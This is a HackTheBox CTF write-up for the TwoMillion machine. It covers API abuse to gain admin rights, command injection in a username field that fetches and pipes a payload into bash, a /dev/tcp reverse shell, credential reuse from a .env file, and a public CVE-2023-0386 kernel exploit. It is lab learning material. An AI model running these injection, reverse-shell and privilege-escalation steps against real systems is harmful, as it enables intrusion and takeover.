> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md). # TwoMillion HackTheBox Writeup TwoMillion HackTheBox Easy Linux machine writeup covering Abusing the API to generate a valid invite code, Abusing the API to elevate our privilege to administrator, Command injection via poorly desig {% embed url="" %} {% hint style="warning" %} **Skills:** * Abusing the API to generate a valid invite code * Abusing the API to elevate our privilege to administrator * Command injection via poorly designed API functionality * Information Leakage * Privilege Escalation via Kernel Exploitation (CVE-2023-0386) - OverlayFS Vulnerability {% endhint %} **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.221 -oG allPorts ```

**Port Version Scan with Nmap:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,80 2million.htb-oN targeted ```

## Port 80 - HTTP

#### Resource discovery with Gobuster ```bash gobuster dir -u http://2million.htb/ / -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt / -t 100 -r --exclude-length 1674 ```

#### Discovery of the `inviteapi.min.js` file This JavaScript file is heavily obfuscated using the classic `eval(function(p,a,c,k,e,d){...})` technique. After deobfuscation, two interesting functions appear: * `verifyInviteCode(code)`: sends an invitation code to `/api/v1/invite/verify` * `makeInviteCode()`: makes a request to `/api/v1/invite/how/to/generate`

## Exploiting the API – Generating an invitation code #### Appel initial : ```bash curl -X POST / -H "Content-Type: application/json" / http://2million.htb/api/v1/invite/how/to/generate ``` Answer > {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}# #### ROT13 decryption → new URL: {% embed url="" %}

In order to generate the invite code, make a POST request to /api/v1/invite/generate #### Request: ```bash curl -X POST / -H "Content-Type: application/json" / http://amillion.htb/api/v1/invite/generate ```

Response (base64): * V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM= Decoding: ```bash echo "V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=" | base64 -d; echo ``` WUOIF-LK68X-HUGTW-DOX1S We use this code to create an account on the site.

## HackTheBox API Exploitation

#### API Observation By visiting `/api`, we can observe the available routes.

#### Attempting to generate VPN config (initial failure) ```bash curl -v -X POST / -H "Content-Type: application/json" / --cookie "session=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate ``` Answer: Not allowed.

#### Modifying our role through the API

We test changing user settings with the route: ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update ``` > {"status":"danger","message":"Missing parameter: email"} ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}' ``` > {"status":"danger","message":"Missing parameter: is/\_admin"} ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}' ``` > Answer: > > {"id":15,"username":"Jordan","is/\_admin":1}

#### Checking our admin status ```bash curl -s -X GET / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/auth | jq { "message": true } ```

### RCE via Command Injection ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}' ```

Attempt to inject command into field `username`: ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}' ```

#### Reverse Shell 1. **File server** ```bash echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html python3 -m http.server 80 ``` 2. **Netcat listening** ```bash nc -nvlp 443 ``` 3. **Sending the order** ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}' ``` We get a reverse shell

## Privilege escalation #### Discovery of sensitive files By searching the files accessible from our shell, we discover a hidden `.env` file containing credentials for the database: ```bash DATABASE=htb_prod USERNAME=admin PASSWORD=SuperDuperPass123 ```

We also notice the presence of a second user named `admin`.

#### Password reuse By testing the discovered credentials, we see that the system user `admin` is using the **same password** as the database password. ### Flag user.txt :)

This bad practice allows us to obtain an **SSH connection**: #### System Email

When connecting, a message informs us of the presence of a **new email**. By reading it, we obtain crucial information: > Hey admin, > > I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

This message puts us on the trail of a **known vulnerability in OverlayFS**:/ **CVE-2023-0386** – a local privilege escalation vulnerability in the Linux kernel. ## CVE-2023-0386 Exploitation - OverlayFS Privilege Escalation > OverlayFS allows you to overlay file systems. In some versions of the Linux kernel, poor capacity management allows an unprivileged user to execute code with **root rights**. {% embed url="" %} **Operating steps** 1. **Clone the exploit** from our local machine: ```bash git clone https://github.com/puckiestyle/CVE-2023-0386 cd CVE-2023-0386 make all ``` 2. **Transfer the compiled files** to the target machine (`scp`, `python -m http.server`, etc.).

2. **On the target machine**, run in **two terminals**: * Terminal A : ```bash ./fuse ./ovlcap/lower ./gc ``` * Terminal B : ```bash ./exp ``` If all goes well, we get a **root** shell

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.